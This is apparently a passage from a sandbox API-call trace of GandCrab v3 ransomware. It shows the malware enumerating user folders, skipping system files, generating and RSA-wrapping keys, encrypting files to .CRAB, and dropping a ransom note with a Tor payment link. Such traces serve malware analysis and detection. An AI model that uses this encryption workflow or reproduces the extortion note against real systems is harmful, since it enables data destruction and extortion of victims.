	[0136.776] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.776] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0136.776] CloseHandle (hObject=0x3d4) returned 1
	[0136.776] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.777] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.777] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.777] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.777] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.777] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.778] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.778] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1
	[0136.778] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1
	[0136.778] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms"
	[0136.778] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.778] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 109
	[0136.778] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 109
	[0136.778] lstrlenW (lpString=".regtrans-ms") returned 12
	[0136.778] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.778] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".regtrans-ms ") returned 13
	[0136.778] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.779] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 109
	[0136.779] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 109
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="desktop.ini") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="autorun.inf") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="iconcache.db") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootsect.bak") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot.ini") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat.log") returned 1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="thumbs.db") returned -1
	[0136.779] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.779] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.779] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB") returned 114
	[0136.779] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26
	[0136.780] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 1
	[0136.780] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms.crab")) returned 1
	[0136.781] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.781] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB"
	[0136.781] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB.CRAB"
	[0136.781] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0136.782] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.783] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.783] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0136.783] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0136.783] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.783] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6eb78) returned 1
	[0136.784] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.785] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.785] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0136.785] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0136.785] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.785] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0136.786] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0136.786] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0136.787] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3248070) returned 1
	[0136.787] CryptGetKeyParam (in: hKey=0x3248070, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.787] CryptEncrypt (in: hKey=0x3248070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0136.787] GetLastError () returned 0x0
	[0136.787] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.788] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e9e0) returned 1
	[0136.789] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3247f30) returned 1
	[0136.789] CryptGetKeyParam (in: hKey=0x3247f30, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.789] CryptEncrypt (in: hKey=0x3247f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0136.789] GetLastError () returned 0x0
	[0136.789] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0136.789] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0136.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0136.790] ReadFile (in: hFile=0x3d4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314df14*=0x80000, lpOverlapped=0x0) returned 1
	[0136.835] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0136.843] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x380000
	[0136.854] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.856] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff80000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.856] WriteFile (in: hFile=0x3d4, lpBuffer=0x380000*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x380000*, lpNumberOfBytesWritten=0x314df04*=0x80000, lpOverlapped=0x0) returned 1
	[0136.857] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.859] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.863] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.863] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.863] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0136.864] CloseHandle (hObject=0x3d4) returned 1
	[0136.864] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.864] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.864] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.864] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.865] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.865] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.865] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.865] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1
	[0136.865] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1
	[0136.865] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0136.865] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\"
	[0136.865] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.866] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.866] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.866] lstrcmpiW (lpString1="C:\\Users\\Default\\Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.866] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.866] lstrcmpiW (lpString1="C:\\Users\\Default\\Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.866] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.866] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Pictures\\\\CRAB-DECRYPT.txt") returned 43
	[0136.866] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0136.867] GetLastError () returned 0x50
	[0136.867] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.867] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\") returned 26
	[0136.867] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*"
	[0136.867] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32483b0
	[0136.867] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.867] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.867] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.867] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.867] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.867] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.868] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.868] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt"
	[0136.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.868] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt") returned 42
	[0136.868] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt") returned 42
	[0136.868] lstrlenW (lpString=".txt") returned 4
	[0136.868] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.868] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.868] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.868] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt") returned 42
	[0136.869] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\CRAB-DECRYPT.txt") returned 42
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.869] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.869] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.869] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.869] FindClose (in: hFindFile=0x32483b0 | out: hFindFile=0x32483b0) returned 1
	[0136.869] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.869] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1
	[0136.869] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1
	[0136.869] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0136.869] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\"
	[0136.869] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.870] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.870] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.870] lstrcmpiW (lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.870] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.870] lstrcmpiW (lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.870] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.871] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\PrintHood\\\\CRAB-DECRYPT.txt") returned 44
	[0136.871] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\printhood\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.872] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.872] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.873] CloseHandle (hObject=0x3d4) returned 1
	[0136.873] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.873] lstrlenW (lpString="C:\\Users\\Default\\PrintHood\\") returned 27
	[0136.873] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*"
	[0136.873] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.873] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.873] lstrcmpW (lpString1="Recent", lpString2=".") returned 1
	[0136.873] lstrcmpW (lpString1="Recent", lpString2="..") returned 1
	[0136.873] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0136.873] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\"
	[0136.873] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
